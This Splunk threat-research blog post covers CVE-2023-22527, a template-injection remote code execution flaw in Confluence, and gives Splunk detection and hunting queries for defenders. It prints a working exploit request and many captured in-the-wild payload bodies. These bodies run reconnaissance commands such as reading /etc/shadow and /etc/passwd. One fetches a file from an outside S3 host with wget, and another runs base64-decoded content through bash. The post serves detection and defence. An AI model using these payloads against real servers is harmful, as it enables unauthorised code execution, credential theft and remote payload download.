On January 16th, 2024, Atlassian released an advisory highlighting a critical vulnerability within certain versions of Confluence Data Center and Confluence Server. This issue, tracked under the identifier CVE-2023-22527, involves a severe Remote Code Execution (RCE) vulnerability stemming from a template injection flaw in out-of-date software versions. The risk is significant, with unauthenticated attackers potentially gaining the ability to execute arbitrary code on affected installations.
Recognizing the gravity of this threat, Atlassian has provided a detailed breakdown of the impacted versions, alongside a clear directive for immediate patching to the latest software versions. The vulnerability carries a CVSS score of 10.0, marking it as a critical threat that demands immediate attention and action.
The following product and the versions that are impacted by CVE-2023-22527:
In response to these threats, the Splunk Threat Research Team has swiftly developed security analytics and hunting queries to support defenders, which we'll review below.
Not long after the publication of CVE-2023-22527 by Atlassian, proof of concept (POC) code was released and active scanning of the Internet began. Templates for Nuclei provide a quick way to view what is expected for exploitation and identifying a vulnerable Confluence application.
The Nuclei template matches other POCs shared on the internet. Here is a breakdown:
This is what an expected payload would look like:
POST /template/aui/text-inline.vm HTTP/1.1 Host: [TARGET HOSTNAME OR IP] Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Connection: close label=aaa\u0027%2b#request.get(\u0027KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader(\u0027x_vuln_check\u0027,(new+freemarker.template.utility.Execute()).exec({"whoami"}))
With this information, we can quickly craft security content and review prior content that will assist us with identifying compromised servers.
The following analytic will identify a POST request to the URI path /template/aui/text-inline.vm, which is the vulnerable path for CVE-2023-22527. Note that the HTTP request body will have the actual command to be executed as outlined in our expected payload above.
| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.uri_path="/template/aui/text-inline.vm" Web.http_method=POST Web.status IN (200, 202) by Web.src, Web.dest, Web.http_user_agent, Web.url,Web.uri_path, Web.status | `drop_dm_object_name("Web")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Note that to capture the request body, modification may be needed on the web application, proxy, or IDS.
The following analytic, Linux Java Spawning Shell, will provide visibility into a Confluence server spawning a shell to run one of the many different commands identified in the request body.
whoami cat /etc/hosts ip add netstat -tlnp arp -a df -a cat /etc/shadow cat /etc/resolv.conf cat /etc/issue cat /etc/passwd uname -a last -n 30 crontab -l ifconfig ps -ef hostname
Similar to our published datamodel query, here is a direct sourcetype query looking for the POST, 200 status and URI path:
(index=web OR index=proxy OR index=firewall) AND ( http_method=POST http_status=200 AND ( uri_path="/template/aui/text-inline.vm" ) ) | stats count by src_ip, dest_ip, http_method, uri_path, user_agent, status_code | sort - count
There are many IP addresses scanning. Here are the top 10 we collected from our data:
(index=your_index_name dest_ip IN ("70.39.70.194", "67.205.169.184", "185.220.100.243", "91.132.144.59", "92.205.163.226", "193.41.226.117", "185.106.94.195", "45.142.166.65", "185.220.100.247", "185.220.100.255")) | stats count by dest_ip | sort - count
While researching and tracking this CVE, we captured many request bodies and would like to share the different ones identified.
--- label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd-Ret',(new freemarker.template.utility.Execute()).exec({'whoami'}) --- label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd-Ret',(new freemarker.template.utility.Execute()).exec({'cat /etc/hosts'})) --- label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd-Ret',(new freemarker.template.utility.Execute()).exec({'ip add'}) --- label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@org.apache. struts2.ServletActionContext@getResponse().setHeader('Cmd-Responses-Header',(new freemarker.template.utility.Execute()).exec({"whoami"})) --- label=aaa%5Cu0027%2B%23request.get%28%5Cu0027.KEY_velocity.struts2.context%5Cu0027%29.internalGet%28%5Cu0027ognl%5Cu0027%29.findValue%28%23parameters.poc%5B0%5D%2C%7B%7D%29%2B%5Cu0027&poc=%40org.apache.struts2.ServletActionContext%40getResponse%28%29.setHeader%28%5Cu0027Cmd-Ret%5Cu0027%2C%28new+freemarker.template.utility.Execute%28%29%29.exec%28%7B%22cat /etc/hosts%22%7D%29%29 --- label=aaa%5Cu0027%2B%23request.get%28%5Cu0027.KEY_velocity.struts2.context%5Cu0027%29.internalGet%28%5Cu0027ognl%5Cu0027%29.findValue%28%23parameters.poc%5B0%5D%2C%7B%7D%29%2B%5Cu0027&poc=%40org.apache.struts2.ServletActionContext%40getResponse%28%29.setHeader%28%5Cu0027Cmd-Ret%5Cu0027%2C%28new+freemarker.template.utility.Execute%28%29%29.exec%28%7B%22cat /etc/resolv.conf%22%7D%29%29 --- label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd-Ret',(new freemarker.template.utility.Execute()).exec({'cat /etc/shadow'})) --- label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd-Ret',(new freemarker.template.utility.Execute()).exec({'netstat -tlnp'})) --- label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd-Ret',(new freemarker.template.utility.Execute()).exec({'cat /etc/issue'})) --- label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd-Ret',(new freemarker.template.utility.Execute()).exec({'cat /etc/resolv.conf'})) --- label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd-Ret',(new freemarker.template.utility.Execute()).exec({'arp -a'})) --- label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd-Ret',(new freemarker.template.utility.Execute()).exec({'wget http://bigai-lei.s3.amazonaws.com/D5XFl3D5HFBKy -O /tmp/1'})) --- label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('Cmd-Ret',(new freemarker.template.utility.Execute()).exec({'bash -c {echo,L3RtcC8x}|{base64,-d}|{bash,-i}'})) ---
Revealed by Atlassian, the critical vulnerability CVE-2023-22527 in Confluence Data Center and Server versions underscores the importance of knowing your attack surface and keeping pace with updates for Internet-facing software. This vulnerability enables unauthenticated attackers to exploit a template injection flaw, granting them the potential to execute arbitrary code on compromised systems.
The Splunk Threat Research Team is monitoring the landscape and has provided analytics and hunting queries, along with an analysis of request bodies currently being seen in the wild.
Visit research.splunk.com to view the Splunk Threat Research Team's complete security content repository. You can implement this content using the Enterprise Security Content Updates app or the Splunk Security Essentials app.
The Splunk platform removes the barriers between data and action, empowering observability, IT and security teams to ensure their organizations are secure, resilient and innovative.
Founded in 2003, Splunk is a global company — with over 7,500 employees, Splunkers have received over 1,020 patents to date and availability in 21 regions around the world — and offers an open, extensible data platform that supports shared data across any environment so that all teams in an organization can get end-to-end visibility, with context, for every interaction and business process. Build a strong data foundation with Splunk.